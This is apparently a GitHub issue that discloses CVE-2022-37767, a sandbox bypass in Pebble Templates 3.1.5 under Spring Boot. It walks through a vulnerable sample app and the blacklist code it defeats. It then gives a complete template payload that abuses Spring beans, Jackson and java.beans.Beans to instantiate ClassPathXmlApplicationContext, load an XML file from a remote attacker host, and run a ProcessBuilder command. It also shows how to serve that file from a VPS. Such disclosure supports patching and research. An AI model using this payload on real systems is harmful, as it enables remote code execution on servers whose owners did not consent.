Headline
CVE-2022-37767: command execution vulnerability in pebble 3.1.5(latest) · Issue #3 · Y4tacker/Web-Security
Pebble Templates 3.1.5 allows attackers to bypass a protection mechanism and implement arbitrary code execution with springbok
Pebble 3.1.5 Bypass
Pebble Templates 3.1.5 allows attackers to bypass a protection mechanism and implement arbitrary code execution with springboot,Here is my report.
First, simply set up an environment with the official documentation:https://pebbletemplates.io/
Pom.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.7.2</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.example</groupId> <artifactId>hackingpebble</artifactId> <version>0.0.1-SNAPSHOT</version> <name>hackingpebble</name> <description>hackingpebble</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>io.pebbletemplates</groupId> <artifactId>pebble-spring-boot-starter</artifactId> <version>3.1.5</version> </dependency>
<dependency\>
<groupId\>org.springframework.boot</groupId\>
<artifactId\>spring-boot-starter-test</artifactId\>
<scope\>test</scope\>
</dependency\>
</dependencies\>
<build\>
<plugins\>
<plugin\>
<groupId\>org.springframework.boot</groupId\>
<artifactId\>spring-boot-maven-plugin</artifactId\>
</plugin\>
</plugins\>
</build\>
</project>
com.example.hackingpebble.HackingpebbleApplication.java
package com.example.hackingpebble;
import com.mitchellbosecke.pebble.PebbleEngine; import com.mitchellbosecke.pebble.loader.Loader; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.Bean;
@SpringBootApplication public class HackingpebbleApplication {
public static void main(String\[\] args) {
SpringApplication.run(HackingpebbleApplication.class, args);
}
}
com.example.hackingpebble.controller.Test.java
package com.example.hackingpebble.controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam;
@Controller public class Test {
@RequestMapping({"/"})
public String getTemplate(@RequestParam String template) {
return template;
}
}
application.properties
pebble.prefix = templates pebble.suffix = .pebble
And file structure as follows:
When we control the parameter template we can render back the specified template file.
In previous versions, in order to mitigate command execution caused by malicious content in the template,pebble introduces a new security mechanism, which is implemented through the class BlacklistMethodAccessValidator.
In this class you can see a lot of restrictions, on the one hand, restricting the class to be an instance of certain classes, and on the other hand, restricting the execution of some methods
public class BlacklistMethodAccessValidator implements MethodAccessValidator { private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};
public BlacklistMethodAccessValidator() {
}
public boolean isMethodAccessAllowed(Object object, Method method) {
boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);
return !methodForbidden;
}
private boolean isUnsafeMethod(Method member) {
return this.isAnyOfMethods(member, FORBIDDEN\_METHODS);
}
private boolean isAnyOfMethods(Method member, String... methods) {
String\[\] var3 = methods;
int var4 = methods.length;
for(int var5 = 0; var5 < var4; ++var5) {
String method = var3\[var5\];
if (this.isMethodWithName(member, method)) {
return true;
}
}
return false;
}
private boolean isMethodWithName(Method member, String method) {
return member.getName().equals(method);
}
}
Look at the old version of exploit, loading any class by Class.forName,now,no class
{% set cmd = ‘id’ %} {% set bytes = (1).TYPE .forName(‘java.lang.Runtime’) .methods[6] .invoke(null,null) .exec(cmd) %}
What can we do? So far we know that many instances of Spring applications are implicitly registered as beans, so can we find an object from a bean that holds a classloader object, and by getting it we can load any object by executing loadClass
By debugging we can easily export these beans objects
So we have to find some eligible beans among these classes
org.springframework.context.annotation.internalConfigurationAnnotationProcessor org.springframework.context.annotation.internalAutowiredAnnotationProcessor org.springframework.context.annotation.internalCommonAnnotationProcessor org.springframework.context.event.internalEventListenerProcessor org.springframework.context.event.internalEventListenerFactory hackingpebbleApplication org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory test org.springframework.boot.autoconfigure.AutoConfigurationPackages org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration propertySourcesPlaceholderConfigurer org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration websocketServletWebServerCustomizer org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat tomcatServletWebServerFactory org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration servletWebServerFactoryCustomizer tomcatServletWebServerFactoryCustomizer org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor org.springframework.boot.context.internalConfigurationPropertiesBinderFactory org.springframework.boot.context.internalConfigurationPropertiesBinder org.springframework.boot.context.properties.BoundConfigurationProperties org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter server-org.springframework.boot.autoconfigure.web.ServerProperties webServerFactoryCustomizerBeanPostProcessor errorPageRegistrarBeanPostProcessor org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration dispatcherServlet spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration dispatcherServletRegistration org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration taskExecutorBuilder applicationTaskExecutor spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration error beanNameViewResolver org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration conventionErrorViewResolver spring.web-org.springframework.boot.autoconfigure.web.WebProperties org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration errorAttributes basicErrorController errorPageCustomizer preserveErrorControllerTargetClassPostProcessor org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration requestMappingHandlerAdapter welcomePageHandlerMapping localeResolver themeResolver flashMapManager mvcConversionService mvcValidator mvcContentNegotiationManager requestMappingHandlerMapping mvcPatternParser mvcUrlPathHelper mvcPathMatcher viewControllerHandlerMapping beanNameHandlerMapping routerFunctionMapping resourceHandlerMapping mvcResourceUrlProvider defaultServletHandlerMapping handlerFunctionAdapter mvcUriComponentsContributor httpRequestHandlerAdapter simpleControllerHandlerAdapter handlerExceptionResolver mvcViewResolver mvcHandlerMappingIntrospector viewNameTranslator org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter defaultViewResolver viewResolver requestContextFilter org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration formContentFilter com.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfiguration pebbleViewResolver com.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfiguration pebbleLoader springExtension pebbleEngine pebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebbleProperties org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration mbeanExporter objectNamingStrategy mbeanServer spring.jmx-org.springframework.boot.autoconfigure.jmx.JmxProperties org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration springApplicationAdminRegistrar org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfiguration forceAutoProxyCreatorToUseClassProxying org.springframework.boot.autoconfigure.aop.AopAutoConfiguration org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration applicationAvailability org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration standardJacksonObjectMapperBuilderCustomizer spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration jacksonObjectMapperBuilder org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration parameterNamesModule org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration jacksonObjectMapper org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration jsonComponentModule jsonMixinModule org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration lifecycleProcessor spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration stringHttpMessageConverter org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration mappingJackson2HttpMessageConverter org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration messageConverters org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration scheduledBeanLazyInitializationExcludeFilter taskSchedulerBuilder spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration restTemplateBuilderConfigurer restTemplateBuilder org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration tomcatWebServerFactoryCustomizer org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration characterEncodingFilter localeCharsetMappingsCustomizer org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration multipartConfigElement multipartResolver spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties org.springframework.aop.config.internalAutoProxyCreator
Fortunately we quickly found a class that fit the criteria and it helped us get the classloader object
It is not enough to execute loadclass, we also need to instantiate the class. And It’s also very simple, there is jackson among spring’s dependencies, through jackson deserialization we can easily instantiate a class.
Fortunately there is this jacksonObjectMapper object in the beans.Now we can instantiate arbitrary classes, and by being able to instantiate arbitrary classes we have bypassed the filtering restrictions
In the spring scenario we can easily think of a configuration class org.springframework.context.support.ClassPathXmlApplicationContext, which allows us to load a remote xml configuration file, through which we can easily implement the command execution.
But…
At this point you will find that any class jackson that inherits from AbstractPointcutAdvisor and AbstractApplicationContext will not be allowed to instantiate
public void validateSubType(DeserializationContext ctxt, JavaType type, BeanDescription beanDesc) throws JsonMappingException {
Class<?> raw = type.getRawClass();
String full = raw.getName();
if (!this.\_cfgIllegalClassNames.contains(full)) {
if (raw.isInterface()) {
return;
}
if (full.startsWith("org.springframework.")) {
Class cls = raw;
while(true) {
if (cls == null || cls == Object.class) {
return;
}
String name = cls.getSimpleName();
if ("AbstractPointcutAdvisor".equals(name) || "AbstractApplicationContext".equals(name)) {
break;
}
cls = cls.getSuperclass();
}
} else if (!full.startsWith("com.mchange.v2.c3p0.") || !full.endsWith("DataSource")) {
return;
}
}
ctxt.reportBadTypeDefinition(beanDesc, "Illegal type (%s) to deserialize: prevented for security reasons", new Object\[\]{full});
}
What to do at this time? We found a class called java.beans.Beans in jre.
The instantiate method of this class can help us instantiate arbitrary methods.
public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException { return Beans.instantiate(cls, beanName, null, null); }
Here the classloader parameter is allowed to be set to empty, if it is empty later will be through the ClassLoader.getSystemClassLoader (); get, of course, in fact, we also get a classloader at the top which is not the point,It will eventually return an instantiated object based on the beanName passed in.
if (result == null) { // No serialized object, try just instantiating the class Class<?> cl;
try { cl = ClassFinder.findClass(beanName, cls); } catch (ClassNotFoundException ex) { // There is no appropriate class. If we earlier tried to // deserialize an object and got an IO exception, throw that, // otherwise rethrow the ClassNotFoundException. if (serex != null) { throw serex; } throw ex; }
if (!Modifier.isPublic(cl.getModifiers())) { throw new ClassNotFoundException(“” + cl + " : no public access"); }
/* * Try to instantiate the class. */
try { result = cl.newInstance(); } catch (Exception ex) { // We have to remap the exception to one in our signature. // But we pass extra information in the detail message. throw new ClassNotFoundException(“” + cl + " : " + ex, ex); } }
So we get the ClassPathXmlApplicationContext class that was forbidden to be instantiated by indirect means.
So by stringing these points together we can easily get the following payload
{% set y= beans.get(“org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory”).resourceLoader.classLoader.loadClass(“java.beans.Beans”) %} {% set yy = beans.get(“jacksonObjectMapper”).readValue(“{}", y) %} {% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext”) %} {{ yyy.setConfigLocation(“http://xxx.xxx.xxx/1.xml”) }} {{ yyy.refresh() }}
1.xml
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg > <list> <value>open</value> <value>-a</value> <value>calculator</value> </list> </constructor-arg> </bean> </beans>
with http server in your vps
python3 -m http.server 80
Successfully triggered command execution by template file called rce.pebble
Related news
Pebble Templates 3.1.5 allows attackers to bypass a protection mechanism and implement arbitrary code execution with springbok.